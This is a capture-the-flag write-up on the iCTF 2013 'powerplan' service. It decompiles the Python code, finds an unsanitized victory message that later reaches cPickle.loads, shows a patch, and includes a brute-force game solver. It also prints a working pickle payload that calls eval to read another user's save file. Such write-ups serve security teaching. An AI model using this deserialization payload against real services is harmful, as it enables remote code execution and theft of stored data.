iCTF powerplan write up
Overview
The iCTF 2013 was a competition where each team administrate some services trying to keep them available. But these services are vulnerable… So we have to goals: patch the vulnerability, and also write exploits and submit them so that they could be use against our opponents.
Here, I focus on the service named “powerplan”. On your machine, it consists of
three files: game_server.pyc
, Board.pyc
and run.sh
. No surprise here:
run.sh
is simply launching the server:
#!/bin/sh
python game_server.pyc
If you run that script, you have a new service available on port 9898. Let's connect there…
create new user or login [N/L]
N
user name
rogdham
create a password
IStillHaveNightmaresAboutThatCat
Operation Power Plan - Sabotaging the enemy's power grid
Your agents have already infiltrated 1 enemy power plant and shut it down.
Your mission: Shut down as many power plants as possible without being
discovered.
Your agent will be discovered if they ever try revisiting a previously
shutdown
power plant or go off the grid.
Remember: One power plant is full of enemy spies.
Do not to shut down this plant down
Your agent can move among powerplants using 8 different moves.
Tip: Learn quickly how the agent responds to directions.
Map Legend:
* : power plant full of enemy spies. Avoid!
- : A power plant that still needs to be infiltrated
Highest number : Your agent's current location
And if you would like to take a break, type Save.
- 1 - - -
- - - - -
- - - - *
- - - - -
- - - - -
Select a move [S/SE/E/NE/N/NW/W/SW/Save]
S
- 1 - - -
- - - - -
- - - - *
- 2 - - -
- - - - -
Select a move [S/SE/E/NE/N/NW/W/SW/Save]
W
You have been discovered!
So it seems to be a stupid game with obscure rules. Let's discover what is going on here!
Finding a vulnerability and fixing it
The first thing to do is to recover the Python code from the .pyc
files. To
do so, I used uncompyle, which
did the job perfectly well.
Diving into the code
Looking through the code of both python files, you don't need a long time to
figure out that Board.py
is holding the logic of the game, whereas
game_server.py
is the controller in charge of the communication with the
clients.
But when you open the game_server.py
file, you immediately get a feeling
of kind of vulnerability is waiting for you…
import SocketServer
import threading
import base64
import cPickle
import sys
import time
import shutil
import os
import re
import base64
import hashlib
import time
import cPickle
import subprocess
from Board import Board
import random
save_folder = 'saves'
Yep, in case you haven't noticed it, import cPickle
is repeated a second
time!
So, where is cPickle
loading anything?
def load_board(self, user_name):
file_name = base64.urlsafe_b64encode(user_name)
fp = open(os.path.join(save_folder, file_name))
file_content = fp.read()
fp.close()
board = cPickle.loads(base64.b64decode(file_content.split('\n')[1]))
if board.check() != True:
raise Exception('tried to load a malformed board')
else:
return board
Ok, so if you could write arbitrary data on the second line of that file, the game would be over.
The next step is to look in the code for places where we write into a file…
def save_board(self, file_name, passwd, board):
hashed_passwd = hashlib.sha256(passwd).hexdigest()
tstr = '{0}\n{1}\n'.format(hashed_passwd, base64.b64encode(cPickle.dumps(board)))
fp = open(os.path.join(save_folder, file_name), 'wb')
fp.write(tstr)
fp.close()
Nope, there is nothing you could really do here, since you don't control directly what is written.
def save_score(self, file_name, passwd, victory_message, score):
hashed_passwd = hashlib.sha256(passwd).hexdigest()
tstr = '{0}\n{1}\n{2}\n'.format(hashed_passwd, victory_message, score)
fp = open(os.path.join(save_folder, file_name), 'wb')
fp.write(tstr)
fp.close()
Bingo! Tracing back where the victory_message
is coming from, you find that
there is no sanitization. Also, this method is only called when you win the
game.
Patching the vulnerability
Remember: your service is tested from times to times, and you don't want to be detected as faulty because you remove a feature while patching the vulnerability.
I thought that perform the following checks would be a good tradeoff:
- is it possible to base64-decode the victory message? If not, don't change anything;
- once decoded, remove all new lines and non-printable ASCII characters.
The rationale behind that is that the pickle format either used new lines in its non-binary format (for non-trivial objects), or non-printable ASCII characters when used with the binary option.
Here is my patched version:
def save_score(self, file_name, passwd, victory_message, score):
hashed_passwd = hashlib.sha256(passwd).hexdigest()
# Vulnerability fixed below
try:
v = base64.b64decode(victory_message)
v = filter(lambda c: c == '\t' or 31 < ord(c) < 127, v)
victory_message = base64.b64encode(v)
except TypeError:
pass
# Vulnerability fixed above
tstr = '{0}\n{1}\n{2}\n'.format(hashed_passwd, victory_message, score)
fp = open(os.path.join(save_folder, file_name), 'wb')
fp.write(tstr)
fp.close()
Exploiting the vulnerability
Now that we have found the vulnerability, it's time to write an automated exploit!
The sketch of the exploit is the following:
- Connecting to the server
- Creating a new user
- Playing and winning the game
- Saving a crafted victory message
- Disconnecting from the server
- Connecting to the server again
- Loading the same user, which will trigger
cPickle.loads
on our previously crafted input - Getting the result of the exploit.
I'm not going to bother you with the details of how to talk to a server in Python, this is not the point of this article.
Instead, let's see how to win the game!
Understanding the game
First, what are the rules? Tracing the execution of a game, we found this
sample of code in Board.py
which is in charge of handling a move.
def move_to_ij(self, p):
if p == 'S':
return (3, 0)
if p == 'SE':
return (2, 2)
if p == 'E':
return (0, 3)
if p == 'NE':
return (-2, 2)
if p == 'N':
return (-3, 0)
if p == 'NW':
return (-2, -2)
if p == 'W':
return (0, -3)
if p == 'SW':
return (2, -2)
def check_and_add_move(self, p):
(i, j,) = self.move_to_ij(p)
(new_ci, new_cj,) = (self.last_ci + i, self.last_cj + j)
if new_ci < 0 or new_cj < 0 or new_ci >= self.wsize or new_cj >= self.hsize:
return False
else:
if self.board_table[new_ci][new_cj] == 0:
self.last_v += 1
self.board_table[new_ci][new_cj] = self.last_v
(self.last_ci, self.last_cj,) = (new_ci, new_cj)
return True
return False
Three things to see here:
- we loose the game if we go outside the board
- we loose the game if we go to a non-empty cell
- we know how the moves are computed!
So the aim of the game is to visit every single cell (except the one marked
*
) one time and one time only.
Solving the game
Cool, let's create an algorithm to solve that game! Oh wait, that does not seems to be obvious, does it? And remember, in the context of a CTF, you need to be fast. No time to create a beautiful algorithm here! How to do it then? Here is an idea:
Let's try to bruteforce the possibilities!
Here is my Python code which returns a sequence of moves leading to victory. It's a simple BFS over the possible moves.
def bruteforce(board):
remaining = [(board, [])]
while remaining:
base, baselist = remaining.pop()
for p in ('N', 'NE', 'E', 'SE', 'S', 'SW', 'W', 'NW'):
l = list(baselist) # copy baselist
b = Board(board_str=str(base)) # copy base
if b.check_and_add_move(p):
l.append(p)
remaining.append((b, l))
if b.is_solved():
return l
As you can see, I used the methods from the Board
class mentioned above; the
is_solved
method is telling if the board is solved (not kidding).
Pretty simple, right? Good news: this program only need a few seconds to execute and find a winning sequence of moves! Sometimes, bruteforcing the possibilities is just fine.
Crafting a payload
Say you want to get the saved file of a particular user. The idea of the
exploit is quite simple. As we saw, cPickle.loads
is called from a method
load_board
of the class MyTCPHandler
. At that point, if we manage to call
the send_msg
of that same class instance, we will directly get the data on
the connection with the game server. Let's just perform a call to eval
!
def payload(username):
return base64.b64encode('c__builtin__\neval\np1\n'
'(S\'self.send_msg(open("saves/%s").read())\'\n'
'tRp2\n.' % base64.b64encode(username))
This is just exploiting the fact that pickle is insecure when used on untrusted source.
Conclusion
Let me quote the Python documentation for pickle:
Warning: The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never
unpickle
data received from an untrusted or unauthenticated source.
So if you use it, be very careful. Or just choose an alternative; for example, JSON seems to be quite popular.